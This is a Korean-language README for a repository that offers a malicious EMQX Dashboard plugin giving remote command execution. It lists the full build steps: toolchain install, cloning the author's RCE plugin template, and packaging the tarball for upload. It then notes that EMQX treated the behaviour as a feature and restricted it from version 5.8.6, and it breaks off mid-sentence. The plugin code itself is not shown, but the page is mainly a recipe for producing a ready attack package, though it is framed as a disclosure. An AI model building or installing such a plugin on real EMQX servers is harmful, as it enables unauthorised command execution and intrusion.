
EMQX 대시보드 악성 플러그인으로 인한 RCE
이것은 EMQX Dashboard용 악성 플러그인으로, 명령을 원격으로 실행할 수 있게 해줍니다.
이 저장소의 코드는 대부분 Apache 2.0 라이선스로 배포되는 EMQX plugin template 저장소의 최신 릴리스 중 하나를 기반으로 합니다.
직접 시도해보고 싶다면 EMQX 문서에 설명된 대로 Docker 이미지를 실행할 수 있습니다.
sudo apt update
sudo apt install -y build-essential autoconf libncurses5-dev libssl-dev \
libwxgtk3.2-dev libgl1-mesa-dev libglu1-mesa-dev libpng-dev \
libssh-dev unixodbc-dev cmake
git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.13.1
echo '. "$HOME/.asdf/asdf.sh"' >> ~/.bashrc
echo '. "$HOME/.asdf/completions/asdf.bash"' >> ~/.bashrc
source ~/.bashrc
asdf --version
asdf plugin-add erlang https://github.com/asdf-vm/asdf-erlang.git
asdf install erlang 25.3
asdf global erlang 25.3
git clone https://github.com/erlang/rebar3.git
cd rebar3
./bootstrap
sudo chmod +x rebar3
sudo mv rebar3 /usr/local/bin/
mkdir -p ~/.config/rebar3/templates/emqx-plugin-template
git clone https://github.com/ricardojoserf/emqx-RCE ~/.config/rebar3/templates/emqx-plugin-template

rebar3 new emqx-plugin my_emqx_plugin
make -C my_emqx_plugin rel
cp my_emqx_plugin/_build/default/emqx_plugrel/my_emqx_plugin-1.0.0.tar.gz .
2025년 2월과 3월에 EMQX 보안 팀과의 논의 끝에, 그들은 이것이 취약점이 아니라 일종의 "기능"으로 간주되며 이 저장소를 공개하는 데 이의가 없다고 확인했습니다.
그러나 5.8.6 버전(2025년 3월 25일 릴리스)부터는 "HTTP API 또는 Dashboard를 통해 플러그인을 설치하기 전에 패키지를 명시적으로 허용하는 CLI 명령을 도입하여 보안을 개선하고 무단 설치를 방지"하는 방식으로 이 기능이 완화될 예정입니다 (출처).
따라서 이전 버전에서는 EMQX Dashboard에 접근할 수 있다면 RCE를 달성할 수 있지만, 5.8.6 이후 버전에서는 다음과 같은 오류가 발생합니다:
